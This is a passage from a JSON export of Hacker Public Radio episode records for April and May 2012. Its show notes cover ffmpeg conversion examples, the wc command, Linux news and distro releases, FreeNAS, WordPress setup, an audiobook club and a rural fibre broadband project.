    \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Broadcom BCM2835,HDMI,GPIO,UART,i2c,SPI","version":0,"downloads":2484,"valid":1}, {"id":968,"date":"2012-04-17","title":"FFMPEG for video Conversion","duration":629,"summary":"Using ffmpeg to convert videos","notes":"Hello Hacker Public Radio
    \nBrocktonBob here with my tutorial on how I use FFMPEG to convert videos to any format I like.
    \nFFMPEG is a terminal program used in Linux, but Windows and Mac users can use WINFF which\nis the gui frontend for FFMPEG.
    \nFFMPEG is more powerful than WINFF because you have more control when you use the terminal than a gui. Below are the examples I used in this podcast.
    \nI hope you give it a try
    \n
    \nMy Examples:
    \n
    \nffmpeg -i glue.flv glue.avi\nffmpeg -i glue.flv glue.mp3\nffmpeg -i glue.flv -target ntsc-dvd output.mpg\n
    \n","hostid":202,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"video,conversion,ffmpeg,winff","version":0,"downloads":2157,"valid":1}, {"id":969,"date":"2012-04-19","title":"The Crivins Audiocast","duration":4717,"summary":"Crivins - episode 10","notes":"

    \nToday it's the The Crivins Audiocast at https://unseenstudio.co.uk/ and from their website it is A Linux / FOSS show with a strong Scottish flavour hosted by ThistleWeb & Kevie. This show carries a strong language warning.\n

    \n

    Wur back wi a mair regular style o' episode fur episode 10, an wi start aff wi a lil gem o' a thing; a Javascript version o Tron in a ridiculously wee number o' lines o' code. Nixt up, wi say strewth tae the Aussie boabies wha are noo roamin' the streets fur open wifi networks tae scare folks intae closin' em.

    \n\n

    Ye cannae say wur no dain' oor public doody, wi pit oot a call fur the poor truck driver wha loast his joab due tae them theivin' scunners, the interwebs pirates. Then wi note that it's the same ol' same 'ol at Microsoft, wi the EU staff bein' urged tae refuse bribes in the form o' free Windaes an' Office licences. Finally, wi note that despite Mozilla flyin' the flag fur user privacy, why would any companies respect the \"dinnae track\" option?

    \n

    In oor discussion this week, wi focussed oan the plight o' Game; the video game specialist chain in the UK wha went intae administration this week, whar they went wrang, an if it's inevitable and just a sign o' the times.

    \n

    English Translation

    \n

    We're back with a more regular type of episode for episode 10, and we start off with a gem of a thing; a Javascript version of Tron in a ridiculously small number of lines of code. Next up, we say strewth to the Aussie bobbies who are now roaming the streets for open wifi networks to scare folks into closing them.

    \n

    You can't say we're not doing our public doody, we put the call out for the poor truck driver who lost his job due to them thieving bastards, the interwebs pirates. Then we note that it's the same old same old at Microsoft, with the EU staff being urged to refuse bribes in the form of Windows and Office licenses. Finally we note that despite Mozilla flying the flag for user privacy, why would any companies respect the \"do not track\" option?

    \n

    In our discussion this week, we focussed on the plight of Game; the video game specialist chain in the UK who went into administration this week, where they went wrong, and if it's inevitable and just a sign of the times.

    \n

    Links

    \n

    Tunes

    \n\n

    Links

    \n
      \n
    1. https://developers.slashdot.org/story/12/03/25/1442228/javascript-game-of-tron-in-226-bytes
    2. \n
    3. https://www.techdirt.com/blog/wireless/articles/20120323/03334818222/australian-police-to-go-wardriving-telling-people-to-lock-up-their-wifi.shtml
    4. \n
    5. https://www.techdirt.com/articles/20120322/11152418211/wanted-truck-driver-who-lost-his-job-due-to-file-sharing.shtml
    6. \n
    7. https://www.macworld.co.uk/digitallifestyle/news/?newsid=3346846
    8. \n
    9. https://www.computerworlduk.com/news/operating-systems/3346904/mozilla-working-on-do-not-track-support-for-open-source-mobile-os/
    10. \n
    11. https://paidcontent.org/article/419-how-game-group-blew-it-digital-strategy-was-not-adopted
    12. \n
    13. https://www.jamendo.com/en/track/188743
    14. \n
    15. https://www.jamendo.com/en/track/899991
    16. \n
    \n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"crivins,audiocast","version":0,"downloads":2173,"valid":1}, {"id":970,"date":"2012-04-19","title":"TGTM Newscast for 2012/4/15","duration":956,"summary":"A newscast from Talk Geek to Me","notes":"

    TGTM Newscast for 2012/4/15

    \n

    From https://www.talkgeektome.us/tgtmnews-67.html

    \n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n

    News from \"techdirt.com,\" \"iww.org,\"  \"inthesetimes.com,\" and\n\"allgov.com\" used\nunder arranged\npermission.

    \n

    News\nfrom \"torrentfreak.com\" used\nunder\npermission of the Creative Commons\nby-attribution license.

    \n

    News from \"venezuelanalysis.com,\" \"democracynow.org,\" and\n\"peoplesworld.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
    \n

    \n

    News Sources retain their respective copyrights.

    \n

    Links

    \n
      \n
    1. https://www.talkgeektome.us/tgtmnews-67.html
    2. \n
    3. https://venezuelanalysis.com/analysis/6916
    4. \n
    5. https://www.allgov.com//ViewNews/Banks_Fight_Credit_Unions_over_5_Percent_of_Small_Business_Loan_Market_120409
    6. \n
    7. https://www.democracynow.org/2012/4/10/headlines#14
    8. \n
    9. https://inthesetimes.com/article/13022/vermont_yankee_a_nuclear_battle_over_states_rights/
    10. \n
    11. https://www.iww.org/en/content/federal-court-orders-fbi-turn-over-evidence-independent-forensic-analysis-1990-judi-bari-car
    12. \n
    13. https://torrentfreak.com/megaupload-host-refuses-to-delete-user-data-and-evidence-120410/
    14. \n
    15. https://www.allgov.com//ViewNews/Homeland_Security_and_Navy_Award_Contract_to_Hack_into_Gaming_Systems_120411
    16. \n
    17. https://www.techdirt.com/articles/20120411/07155418453/breaking-us-sues-apple-publishers-over-ebook-price-fixing.shtml
    18. \n
    19. https://www.techdirt.com/articles/20120410/10512618441/no-violating-your-employers-computer-use-policy-is-not-criminal-hacking.shtml
    20. \n
    21. https://peoplesworld.org/facebook-consumes-instagram-grows-more-massive/
    22. \n
    23. https://www.scoop.co.nz/stories/WO1204/S00211/inter-parliamentary-union-calls-for-freedom-for-plc-members.htm
    24. \n
    25. https://www.guardian.co.uk/world/2012/mar/29/journalists-us-anti-terrorism-law-ndaa
    26. \n
    27. https://libcom.org/blog/coping-clopening-retail-worker%E2%80%99s-most-dreaded-shift-11042012
    28. \n
    29. https://www.globalmeatnews.com/Industry-Markets/Russia-accuses-Georgia-of-swine-fever-sabotage
    30. \n
    31. https://sacsis.org.za/site/article/1262
    32. \n
    \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2072,"valid":1}, {"id":971,"date":"2012-04-23","title":"/dev/random episode 00","duration":4688,"summary":"Episode zero of the /dev/random podcast","notes":"

    \n/dev/random SHOWNOTES:\n

    \n

    \nDrizzle DB\nhttps://www.infoworld.com/d/open-source-software/non-oracle-mysql-fork-deemed-ready-prime-time-853\n

    \n

    \nHorde's Backdoor\nhttps://www.h-online.com/open/news/item/Horde-Groupware-contains-backdoor-1433972.html\n

    \n

    \nHorde Android App\nhttps://www.h-online.com/open/news/item/Horde-Groupware-4-0-released-1261533.html\n

    \n

    \nLego ZX81\nhttps://www.flickr.com/photos/hairydalek/sets/72157629011228815/\n

    \n

    \nThe Value of Debian's Code.\nhttps://www.h-online.com/open/news/item/Developer-values-Debian-at-Lb12-1-billion-1434751.html\n

    \n

    \nWebKit CSS to be Supported by Microsoft, Mozilla, and Opera \nhttps://www.h-online.com/open/news/item/WebKit-dominance-threatens-the-open-web-1431969.html\n

    \n

    \nPostgres Plus Advanced Server 9.1\nhttps://www.h-online.com/open/news/item/EnterpriseDB-s-Postgres-Plus-Advanced-Server-9-1-ships-1431888.html\n

    \n

    \nVLC 2.0 Released\nhttps://www.videolan.org/vlc/releases/2.0.0.html\n

    \n

    \nEthical hacker jailed for discovering Facebook security vulnerabilities\nhttps://slashdot.org/submission/1948605/ethical-hacker-jailed-for-discovering-facebook-security-vulnerabilities\n

    \n

    \nDARPA's Avatar Project\nhttps://science.slashdot.org/story/12/02/17/1910222/darpa-researches-avatar-surrogates\n

    \n

    \nWindowMaker 0.95.2 Released\nhttps://windowmaker.org/news.php\n

    ","hostid":120,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"podcast","version":0,"downloads":2250,"valid":1}, {"id":972,"date":"2012-04-24","title":"LiTS 005: wc","duration":538,"summary":"Print newline, word, and byte counts for files with the wc command","notes":"

    Fear not Dann has not decided to branch and do a plumbing show. Rather he sticks with the plan and brings us yet another excellent explanation of a common unix utility, namely wc

    \n\n

    \nhttps://www.linuxintheshell.com/2012/04/24/episode-005-wc/\n

    \n\n

    Ever want to know how many lines are in a file? How about how many words are in a file or even how many characters? Well then the “wc” command is just for you. The “wc” command, short for word count, is a very simple command that will print “new line, word and byte counts for file specified, and a total count for all files combined if more than one file is included.”

    \n

    Consider the following little ditty:

    \n

    the linux wc command
    \nfor those not in the know
    \nstands for word count and
    \ndoes a lot you should know

    \n

    It counts lines and words and bytes
    \nproducing output on site
    \nquickly giving you the numbers
    \nwithout any blunders

    \n

    Executing the following command:

    \n

    wc poem.txt

    \n

    Results in the following output:

    \n

    9 40 215 poem.txt

    \n

    To break it down:

    \n
      \n
    • 9 lines
    • \n
    • 40 words
    • \n
    • 215 characters
    • \n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"wc","version":0,"downloads":2466,"valid":1}, {"id":973,"date":"2012-04-24","title":"Freedom is not Free 4 - Money","duration":1416,"summary":"Part 4 of the \"Freedom is not Free\" series","notes":"

      In the fourth of his series \"Freedom is not Free\" Ahuka discusses how you can contribute money to support projects.

      \nhttps://ohiolinux.org/node/186","hostid":198,"series":69,"explicit":1,"license":"CC-BY-SA","tags":"FOSS,FLOSS,financial support","version":0,"downloads":2042,"valid":1}, {"id":974,"date":"2012-04-25","title":"NELF: FreeNAS ","duration":2395,"summary":"A presentation from the North East Linux Fest about FreeNAS","notes":"

      \nToday we listen in on a presentation given at the North East Linux Fest (https://northeastlinuxfest.org/). The speaker was Dru Lavigne - Director of the FreeBSD Foundation and her talk was about FreeNAS.

      \n

      \nThe slides can be found at https://www.slideshare.net/dlavigne/nelf2012\n

      \n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"NELF,NAS,FreeBSD,FreeNAS","version":0,"downloads":2252,"valid":1}, {"id":975,"date":"2012-04-27","title":"Why 16 Cores ?","duration":265,"summary":"Do modern workstations need as many as 16 cores?","notes":"DeepGeek is on sabbatical but as luck would have it we have one of his regular contributions to fill the gap. \n
      \nThe title says it all.","hostid":73,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"workstation,CPU,cores","version":0,"downloads":2289,"valid":1}, {"id":976,"date":"2012-04-30","title":"HPR Community News (March 2012)","duration":4359,"summary":"HPR Community News (March 2012)","notes":"

      New hosts

      \n

      \nWelcome to our new hosts: \nKlaas-Jan Koopman,\nand \nDoorToDoorGeek.\n
      \nIf you would like to become a HPR host then please head over to https://hackerpublicradio.org/contribute.php\n

      \n\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      957Freedom is not Free 3 - DocumentationAhuka
      958KDE Gathering-Plasma Active-THE TabletDavid Whitman
      959The Orca Screen ReaderVarious Hosts
      960TGTM Newscast for 2012/04/04 deepgeek
      961Experiences in a mental hospitalsigflup
      962LITS: Episode 004 - pasteDann
      963How I cut the cord part 3BrocktonBob
      964Sunday Morning Linux Review Episode 026Various Hosts
      965TGTM Newscast for 2012/4/4deepgeek
      966The wisdom of our eldersDoorToDoorGeek
      967Raspberry Pi spec reviewKlaas-Jan Koopman
      968FFMPEG for video ConversionBrocktonBob
      969The Crivins AudiocastVarious Creative Commons Works
      970TGTM Newscast for 2012/4/15deepgeek
      971/dev/random episode 00pegwole
      972LITS: Episode 005 - wcDann
      973Freedom is not Free 4 - MoneyAhuka
      974NELF: FreeNAS Various Creative Commons Works
      975Why 16 Cores ?deepgeek
      \n\n

      Other News

      \n

      \nDeep geek will be taking some time off from recording Talk Geek to Me, to upgrade some of his technology. He should be back in June or July.\n

      \n

      \nDavid Whitman says that the HPR conference kit, such as it is, has arrived safely and in time for LFNW (https://linuxfestnorthwest.org/). He has built quite a display to go behind the table, and he'll probably draw quite a crowd. He's making good use of Ken's presentation slides too, and those will play on a loop at the table. LFNW is going on as we record this, so we hope to hear back from David this month.
      \n\"HPR\n

      \n

      Episode 1000 and 1024

      \n

      \nWe're a little desperate for show 1000 submissions. Please send in yours, and ask your favorite shows to play our ep1k promo. Tweet it, dent it, blog it, G+ it, facebook it... whatever you have, please help us get the word out that we need these QUICKLY.
      \n

      \n

      \nWe are asking listners, hosts and fellow podcasters to send in a short greeting and email it to ep1k@hackerpublicradio.org
      \nIf you have a podcast yourself we would appreciate it if you could play one of the following promos on your show:
      \n5150_pokey_ep1k_promo.wav 01:32
      \npokey_NZfangirl_ep1k_promo.wav 01:37
      \nhpr-ken_fallon-episode1000.wav 00:34\n

      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1934,"valid":1}, {"id":977,"date":"2012-04-30","title":"Setting Up a WordPress Blog: part 2","duration":1795,"summary":"Episode 2 of the series Setting up a Wordpress blog","notes":"This is the second Frank's series on setting up a WordPress blog, now projected to be four episodes.
      \n\nThis episode discusses navigating the WordPress administrative interface and discusses important concepts, such as Posts and Post Categories, Pages, Links and Link Categories, and preventing comment spam.
      \n\nThe next episode will be about tweaking appearance.
      \n\nLinks from the show:
      \n\nWordpress Development blog: https://wordpress.org/news/
      \n\nWordpress News blog: https://wordpress.tv/
      \n\nWordPress Codex (documentation site): https://codex.wordpress.org/Main_Page
      \n\nWordpress \"Extend\" site (plugins and themes): https://wordpress.org/extend/
      \n\nAkismet comment spam plugin: https://akismet.com/wordpress/
      \n\nMy Local Weather plugin: https://wordpress.org/extend/plugins/my-local-weather/
      \n\nStatpress plugin:
      \nhttps://wordpress.org/extend/plugins/statpress/
      \n\nDownload some screenshots (JPG) of WP administrative pages: https://www.pineviewfarm.net/misc/WP-screens.zip
      \n\nContact Frank: frank at pineviewfarm dot net.\n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"WordPress,blog,administration,plugins","version":0,"downloads":2116,"valid":1}, {"id":978,"date":"2012-05-01","title":"Dead_Hunt","duration":4301,"summary":"A discussion of the book \"Dead Hunt\" written by Kenn Crawford","notes":"

      \nIn this episode of the HPR audio book club resno, Klaatu, and pokey discuss the podiobooks.com presentation of Dead Hunt written and produced by Kenn Crawford. This episode contains spoilers, in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. This audiobook was loved by two of the panelists, and liked by the third.\n

      \n

      \nYou can download this audiobook for free (or voluntary donation) from https://www.podiobooks.com/title/dead-hunt \n

      \n

      \nDuring this show the hosts also discuss beverages, and we suspect that one of them may not have contained ANY alcohol!!!
      \nKlaatu was drinking (surprise!) coffee; a brew called Winter Blend which is seasonally available from Trader Joe's.
      \nhttps://www.traderjoes.com/
      \nresno was drinking Snow Day Winter Ale from New Belgium Brewery
      \nhttps://www.newbelgium.com/home.aspx
      \npokey was drinking Yellow Tail Chardonnay
      \nhttps://www.yellowtailwine.com/chardonnay\n

      \n

      \nOur next audiobook will be Space Casey by Christiana Ellis. It is available at podiobooks.com The direct link is:
      \nhttps://www.podiobooks.com/title/space-casey
      \nThis audiobook comes with a thumbs way up rating from pokey (as he's heard it already). So if you agree with his other picks then don't miss this one.\n

      \n

      \nIf you enjoy this episode of HPR, you can find more podcasts by our hosts at:
      \nhttps://techmisfits.com/
      \nhttps://gnuworldorder.info/\n

      \n

      \nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\n

      \n

      \nSincerely,
      \nThe HPR_AudioBookClub
      \n

      \n

      \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\n

      ","hostid":109,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"audiobook,HPR AudioBookClub","version":0,"downloads":2477,"valid":1}, {"id":979,"date":"2012-05-02","title":"Sunday Morning Linux Review Episode 029","duration":3366,"summary":"SMLR episode 29","notes":"

      https://smlr.us
      \nTotal Running Time: 54:30

      \n

      Intro:

      \n

      Mat Enders, Tony Bemus, and Mary Tomich
      \nIntro Sound bite by Mike Tanner

      \n

      Kernel News: Mat

      \n

      Time: 4:56
      \nRelease Candidate:
      \nNo Release Candidate This Week

      \n

      Mainline:
      \n3.4-rc4

      \n

      Stable Updates:
      \nOn Sun, 22 Apr 2012 16:47:47 PDT Greg Kroah-Hartman released kernel 3.0.29
      \nThere were 55 files changed, 500 inserted, 207 deleted

      \n

      On Sun, 22 Apr 2012 16:49:38 PDT Greg Kroah-Hartman released kernel 3.2.16
      \nThere were 69 files changed, 488 inserted, 247 deleted

      \n

      On Sun, 22 Apr 2012 16:50:18 PDT Greg Kroah-Hartman released kernel 3.3.3
      \nThere were 78 files changed, 538 inserted, 319 deleted

      \n

      On Fri, 27 Apr 2012 10:14:55 PDT Greg Kroah-Hartman released kernel 3.0.30
      \nThere were 66 files changed, 314 inserted, 266 deleted

      \n

      On Fri, 27 Apr 2012 10:46:54 PDT Greg Kroah-Hartman released kernel 3.3.4
      \nThere were 96 files changed, 544 inserted, 382 deleted

      \n

      Distro Talk: Tony

      \n

      Time: 7:13

      \n

      Distrowatch.com

      \n
        \n
      • 4-24 – Tails 0.11 – Debian-based live DVD designed for anonymous Internet surfing
      • \n
      • 4-24 – Scientific Linux 5.8 – distribution rebuilt from source packages for Red Hat Enterprise Linux 5.8 and enhanced with extra software and tools useful in academic environments
      • \n
      • 4-24 – Linux Mint 201204 “Debian” – Linux Mint 201204 “Debian” edition
      • \n
      • 4-24 – Untangle Gateway – Debian-based distribution designed for firewalls and gateways
      • \n
      • 4-25 – Tiny Core Linux 4.5 – ast and minimalist Linux distribution for desktop use
      • \n
      • 4-25 – Dragora GNU/Linux 2.2 – “libre” distribution built from scratch and featuring Xfce as the default desktop
      • \n
      • 4-25 – ClearOS 6.2 “Community” – based on Red Hat Enterprise Linux 6.2 and designed for small business servers and gateways
      • \n
      • 4-25 – Swift Linux 0.2.0 – lightweight desktop distribution with IceWM – now based on Linux Mint’s “Debian” edition
      • \n
      • 4-26 – BackBox Linux 2.05 – Ubuntu-based distribution designed to perform penetration tests and security assessments
      • \n
      • 4-26 – * Ubuntu 12.04 – Canonical’s flagship operating system featuring the Unity user interface and Head-Up Display menu system
      • \n
      • 4-27 – Proxmox 2.1 “Virtual Environment” – an open-source virtualization platform for running virtual appliances and virtual machines, based on Debian GNU/Linux
      • \n
      • 4-28 – ROSA 2012 RC – Mandriva Linux and enhanced with a variety of innovative desktop utilities and applications
      • \n
      \n

      ROSA Icons – Making KDE look even better

      \n

      http://www.linuxbsdos.com/2012/04/21/replace-oxygen-with-rosa-theme-on-any-kde-powered-distribution/

      \n

      Creepy – A python program that aggregates twitter and flickr geolocation information.

      \n

      https://diveintoinfosec.wordpress.com/

      \n

      Distro of the Week: Tony

      \n
        \n
      1. Magia – 1453
      2. \n
      3. Swift – 1457
      4. \n
      5. Fedora – 1727
      6. \n
      7. Ubuntu – 4732
      8. \n
      9. Mint – 5153
      10. \n
      \n

      Tech News:

      \n

      Time: 21:09
      \nGoogle Drive Released, Not So Much For Linux

      \n

      The long rumored on line storage from Google has been announced as a reality. Unless of course you are running a Linux desktop. I don’t know but if it where me and my entire business was built on top of Linux that it might be the first client I produced. They have an Android client how difficult can it be.

      \n

      Every subscriber will get 5GB for free with the opportunity to upgrade to any of the following plans.

      \n

      Storage       Monthly Rate
      \n25 GB           $2.49
      \n100 GB         $4.99
      \n200 GB         $9.99
      \n400 GB         $19.99
      \n1 TB              $49.99
      \n2 TB              $99.99
      \n4 TB              $199.99
      \n8 TB              $399.99
      \n16 TB            $799.99

      \n

      You can access the service at dirve.google.com. Although it is currently not ready for me (insert picture). It will support over 30 file types that you will be able to open right in your browser. It will integrate with Google+, Gmail, and Google Docs. You can share files or folders with anyone, and control whether they will be able to view, edit or comment on your stuff. Extensive search capabilities including OCR for pictures and scanned documents. And my favorite feature document rollback for up to thirty days. Google Drive tracks all changes so that when you save a document, a new revision is saved. You can look back as far as 30 days.

      \n
      \n

      Slackware Alive And Well Despite Rumors

      \n

      When the main website for Slackware went down the rumor mill went into hyper-drive. These Discussions where hot and heavy on LinuxQuestions.org and DistroWatch. The discussions very quickly shifted from website problems to the long term viability of Slackware. This was compounded by Eric Hameleers, a top Slackware contributor, when he posted this early in the LinuxQuestions discussion “Old hardware, lack of funds…”. I am sure that it was not his intended effect but this was like throwing gasoline onto an already raging fire. The conversation quickly veered into the what can be done to save Slackware land.

      \n

      The fires where then fanned even higher when Caitlyn Martin, developer of Yarok Linux, made this statement on Distrowatch disparaging the long term viability of Slackware:

      \n

      “You remember that comment about my involvement in the development of a Slackware derivative? Forget it. We’re already discussing about delaying the release and rebasing off of something with a more secure future,”

      \n

      This successfully torqued off a large number of people in the discussions on both websites. She responded to these comments by maintaining her stance that she was only concerned about upstream stability. The positive to come out of Martin’s comments was that it prodded Hameleers into clarifying his comments:

      \n

      “The slackware.com server is down. This is a technical malfunction. It costs money to do something about that. Something will be done about that server, but if it takes a while, it is most likely caused by prioritizing and finances. Slackware was without its own web server for a long time in the past. And still active are ftp.slackware.com and connie.slackware.com, so what’s the big deal?

      \n

      This turning of the rumour mill is pretty much unfounded, and I see some of the same old people pouring oil on the fire as usual.

      \n

      There is no reason to doubt the availability, stability and long term viability of Slackware, the distribution. It has not been a one-man show for some time, the development effort is substantial and plainly visible in the ChangeLog, and there are no plans to switch to another development model or even ditch the distribution.”

      \n

      Hameleers went into greater detail about Slackwares finacial situation on LinuxQuestions:

      \n

      “It’s not that difficult: if everybody suddenly stops buying stuff from the Slackware store, then Slackware will not last another year in its present form–the Store sales are Pat’s income (and it feeds several other people too), but remember, the core team surrounding Pat do not get a penny of these revenues at all. Therefore, the rest of the team is not impacted in any way by Slackware sales figures and we will keep working with Pat on the distribution just like we have been doing for the past years. Look at the ChangeLog–sometimes there is a period of relative silence but that does not mean that no work is being done. Like last week, the updates can come in big gulps. Slackware will not die, its philosophy will not change, the team is dedicated and full of ideas.

      \n

      “If people start chickening out and cancel their subscriptions, then that is a pity. Thankfully, I see lots of other Slackware users who decided that this is a good point to make a donation or buy something at the Store (if their financial situation allows it). Thanks to all of you for ‘supporting the cause.’ And remember–if you can not financially support Slackware, then helping your fellow Slackware users in forums like this one is an invaluable form of support as well! Slackware will not die because of financial issues, it will die if all of its users leave.”

      \n

      As Hameleers points out a project like Slackware can never really go away as long as there is a strong community around it. Even if the project folds financially and Patrick did not transfer the copyrights on Slackware to the community it would continue under a different name. However for now there is absolutely no indication that any of that is either in the near or distant future.

      \n
      \n

      Hungarian Government Solidifies Commitment To ODF

      \n

      Last year the Hungarian government announced that from April 2012 forward all government documents needed to be produced in an internationally recognized open document standard. To further this commitment they are going to invest 370 million HUF (Hungarian Forint) which is approximately 1.7 million USD in applications that utilize the open document format (ODF). The two main beneficiaries of this investment will be the Department of Software Engineering at the University of Szeged and Multiráció, an open source development company.

      \n

      Multiráció developed an open office suite, originally based on OpenOffice.org, called EuroOffice. they are now going to produce a version for tablets and improve the collaborative functions within EuroOffice. Kázmér Koleszár, a developer at Multiráció, said that the development responsibilities would break out like this:

      \n

      “The University of Szeged will do the quality assurance and usability related research and tool development. Multiráció will develop the office application and work on several extensions.”

      \n

      All I have to say is good on you Hungary I wish that countries like mine would do more to push open formats. I have even considered suing entities like may state government for their continued use of proprietary formats on their websites.

      \n
      \n

      Microsoft Office 15 to support ODF 1.2
      \nMicrosoft has told attendees at the ODF Plugfest in Brussels that the next versions of Microsoft’s Office products, Office 15 and Office 365, will support Open Document Format (ODF) 1.2.
      \nhttps://www.h-online.com/open/news/item/Microsoft-Office-15-to-support-ODF-1-2-1560464.html

      \n
      \n

      Less Than 25% Of OSS Used In Corporations Managed Correctly

      \n

      Sonatype released the results of a recent survey showing that 500 out of 2500 respondents said they were locked down to only use corporate approved components. Only 49% said that their companies had a policy in place. Then 63% indicated that their corporate standards where not enforced or that they did not have a policy.

      \n

      Sonatype also noted that the use of open source components is on the rise. Almost 80% of respondents said they used open source tools regularly. Around 50% have migrated to an open source development stack. Also over 65% claimed to contribute to open source projects.

      \n

      In their press release Sonatype said this about the use of open source:

      \n

      “Key to modern development practices is the use of open source components to build mission critical applications,”

      \n
      \n

      Red Hat, SUSE, And IBM Form Partnership While Canonical Stays On The Sidelines

      \n

      IBM’s new POWER server line will be available with either Red Hat or SUSE Linux but not Ubuntu. After more than a year in development IBM rolled out their new POWER server systems and solutions. These machines are Linux specific utilizing the POWER7 processor-based hardware. These machines are targeted at midrange to large range enterprises. they are designed for big data analisis and delivering open source infrastructure services. Canonical chose not not to offer their server product on these units. Coould that be due to a fear of having to actually support an enterprise class customer.

      \n

      This is how IBM envisions the use of this new server line:

      \n

      “The new PowerLinux Solutions and supporting systems are designed to provide customers with lower deployment time and costs, and greater performance, dependability and workload density than competitive x86 platforms at similar price points.”

      \n

      So where was Canonical in all of this? they had been working with IBM to deliver Ubuntu on IBM’s System p mini computer. That partnership however floundered into nothing.

      \n

      Here is how Mark Shuttleworth, Canonical’s founder, spun the announcement:

      \n

      “We don’t support POWER because, by mutual agreement with IBM, there’s little to no overlap between the POWER user base and Ubuntu. People are choosing Ubuntu for farms of commodity servers, and POWER has been adopted for highly-specialized mission-critical roles. If IBM ever wanted to reach either the cloud or bulk computing market with POWER, then I expect the stats above would be relevant for their choice of OS, because they reflect the real choices of those markets.”

      \n

      Hunh? I had a hard time following that statment but what I think it boils down to is this. IBM and Ubuntu agree that Ubuntu would be hard pressed to actually support a large enterprise customer. IBM, Red Hat, and SUSE still believe that their is a market out there for the big machine built on quality hardware. As opposed to large farms of x86 systems trying to do the job of a bigger machine.

      \n

      Convention Scene

      \n

      Time: 36:17

      \n

      AnDevCon III
      \nAndroid Developers conference
      \nMay 14 – 17
      \nAnDevCon III is the technical conference for software developers building Android apps.
      \nhttps://www.andevcon.com/AndevCon_III/index.html

      \n

      Libre Graphics Meeting 2012
      \nMay 2 – 5 2012
      \nThe 7th Libre Graphics Meeting will take place in Vienna at the UAS Technikum.

      \n

      The conference is the number one event for users and developers of free software for graphic design, photography, 3D modeling and animation.
      \nhttps://libregraphicsworld.org/

      \n

      Flossie 2012
      \nMay 25 – May 26, 2012 , London
      \nFlossie 2012 is a free, two-day event for women who work with or are otherwise interested in Free and Open Source Software (FLOSS) and in Open Data, Knowledge and Education.
      \nhttps://www.flossie.org/?tribe_events=flossie-unconference-for-spring

      \n

      Linaro Connection
      \nMay 28/ through 6/1
      \nGold Coast Hotel Hong Kong.

      \n

      Convention to discuss and develop features, infrastructure and optimizations for the Linux kernel, Android, Ubuntu and beyond on ARM.
      \nhttps://www.linaro.org/

      \n

      LinuxTag
      \nMay 23 – 26, 2012
      \nLinux Tag the most important place for Linux and open source software in Europe. The 18th LinuxTag will take place o at the Berlin Fairgrounds.
      \nhttps://www.linuxtag.org/2012/
      \nFOSSCOMM
      \nMay 12 – 13 2012
      \nFOSSCOMM (Free and Open Source Software Communities) is a Greek conference aiming at Open Source enthusiasts, developers, and communities. The fifth FOSSCOMM will take place at the Technological Educational Institute of Serres, Greece.
      \nhttps://serres.fosscomm.gr/
      \nOpen Source Business Conference (OSBC) 2012
      \nMay 21-22 2012
      \nSan Francisco, CA, USA – Hyatt Regency San Francisco
      \nOpen sources influence on cCloud, data, mobile software
      \nhttps://www.eiseverywhere.com/ehome/31601/50188/?&

      \n

      The Samba eXPerience 2012
      \nin Göttingen, Germany is the 11th international Samba conference for users and developers. Meet the Samba Team and discuss requirements, new features and get an update on current developments! The conference is organized by SerNet.
      \nMay 8th – 11th, 2012 – Hotel Freizeit In Göttingen – Germany

      \n

      The Utah Open Source Foundation
      \nUtah Open Source Conference
      \n“Storming the cloud 5/3-5
      \nThis year’s conference will be graciously hosted by Utah Valley University in their Computer Science and Engineering Building,

      \n

      Mil-OSS
      \nMilitary Open Source Software
      \nThe Rise of Open Source in a Declining Budget

      \n

      Charleston, SC 5/22-24

      \n

      Penguicon

      \n

      Time: 39:36
      \nMat – grsecurity, sound redirection (ls -la > /dev/dsp)
      \nMary – HP Lovecraft
      \nTony – BYOBU

      \n

      Chrome Remote Desktop – Provide remote connection between two computers. Chrome Remote Desktop is available in the Chrome Web Store

      \n

      Listner Feedback

      \n

      Time: 46:19
      \nJ. Mathis – Trisquel Gnu/Linux

      \n

      Outtro Music

      \n

      Time: 48:32

      \n

      Can’t stop it by Shearer

      \n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"SMLR,Sunday Morning Linux Review","version":0,"downloads":2218,"valid":1}, {"id":980,"date":"2012-05-03","title":"Broadband for Rural North","duration":3948,"summary":"The story of a Lancashire community and their high-speed network","notes":"

      \n#da12bb #HPR
      \nIn todays show Ken talks to Chris Conder of the Broadband for Rural North (https://b4rn.org.uk/).
      \n\"A\n

      \n

      \nLocated in the very pretty but the rural Forest of Bowland in Lancashire in the UK, and tired of putting up with slow 'broadband' they decided to put together their own network. They tried shared wifi, 3 and 4G mobile networks, MMDS and Satellite yet all proved to be unreliable.\n

      \n

      So over tea and cake they came up with a plan.

      \n
        \n
      • A 240 Kilometer (150 mile) plan.
      • \n
      • A 1 gigabit (1000mb/sec) fiber optic connection plan.
      • \n
      • A let's give a connection to every one of the 1700 homes, farms, schools, churches and businesses, in the area plan
      • \n
      \n

      And while they were at it they designed it to be:

      \n
        \n
      • redundant with a dual homed backbone direct to the UK's Internet exchange
      • \n
      • upgradeable with ducts large enough to take multiple fibers
      • \n
